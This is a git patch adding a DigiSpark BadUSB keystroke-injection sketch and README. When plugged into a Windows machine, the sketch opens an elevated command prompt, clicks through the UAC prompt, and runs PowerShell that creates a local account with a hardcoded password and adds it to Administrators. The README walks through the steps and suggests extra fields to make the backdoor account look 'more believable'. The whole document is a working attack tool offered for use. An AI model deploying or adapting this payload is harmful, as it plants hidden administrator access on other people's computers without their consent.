From c0394ac0d886065e25fca2874088b9716d8d0689 Mon Sep 17 00:00:00 2001 From: unknown Date: Fri, 23 Aug 2019 22:03:06 +0200 Subject: [PATCH] Added Create Account script --- Create_Account/Create_Account.ino | 26 ++++++++++++++++++++++++++ Create_Account/README.md | 15 +++++++++++++++ 2 files changed, 41 insertions(+) create mode 100644 Create_Account/Create_Account.ino create mode 100644 Create_Account/README.md diff --git a/Create_Account/Create_Account.ino b/Create_Account/Create_Account.ino new file mode 100644 index 0000000..90bf040 --- /dev/null +++ b/Create_Account/Create_Account.ino @@ -0,0 +1,26 @@ +//This DigiSpark script creates new local user and adds it to "Administrators" group +//Tested on Windows 10 with English(US) keyboard layout +//Created by Michyus +#include "DigiKeyboard.h" +void setup() { +} + +void loop() { + DigiKeyboard.sendKeyStroke(0); + DigiKeyboard.delay(500); + DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); + DigiKeyboard.delay(500); + DigiKeyboard.print("cmd"); + DigiKeyboard.sendKeyStroke(KEY_ENTER, MOD_CONTROL_LEFT + MOD_SHIFT_LEFT); + DigiKeyboard.delay(1000); + DigiKeyboard.sendKeyStroke(KEY_ARROW_LEFT); + DigiKeyboard.delay(1000); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(1000); + DigiKeyboard.print(F("powershell $pass = ConvertTo-SecureString \"P@ssW0rD\" -AsPlainText -Force; New-LocalUser \"accName\" -Password $pass; Add-LocalGroupMember -Group \"Administrators\" -Member \"accName\" ")); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + DigiKeyboard.delay(500); + DigiKeyboard.print("exit"); + DigiKeyboard.sendKeyStroke(KEY_ENTER); + for(;;){ /*empty*/ } +} diff --git a/Create_Account/README.md b/Create_Account/README.md new file mode 100644 index 0000000..3edd02b --- /dev/null +++ b/Create_Account/README.md @@ -0,0 +1,15 @@ +# This script does the following: +1. Starts Command prompt as Administrator +2. Runs sequence of powershell commands + 1. Stores password in a variable + 2. Creates new local user account + 3. Gives newly created account administrator priviliages +3. Exits Command prompt + +# Additional information: +- Running time is around 15 seconds(depending on hw and length of user name, password, description...) +- Optionally you can add `-FullName` and `-Description` parameters to give account more believable look: +`New-LocalUser \"accName\" -Password $pass -FullName \"User name\" -Description \"Description of new account\"` + +# Credits +- https://github.com/Michyus \ No newline at end of file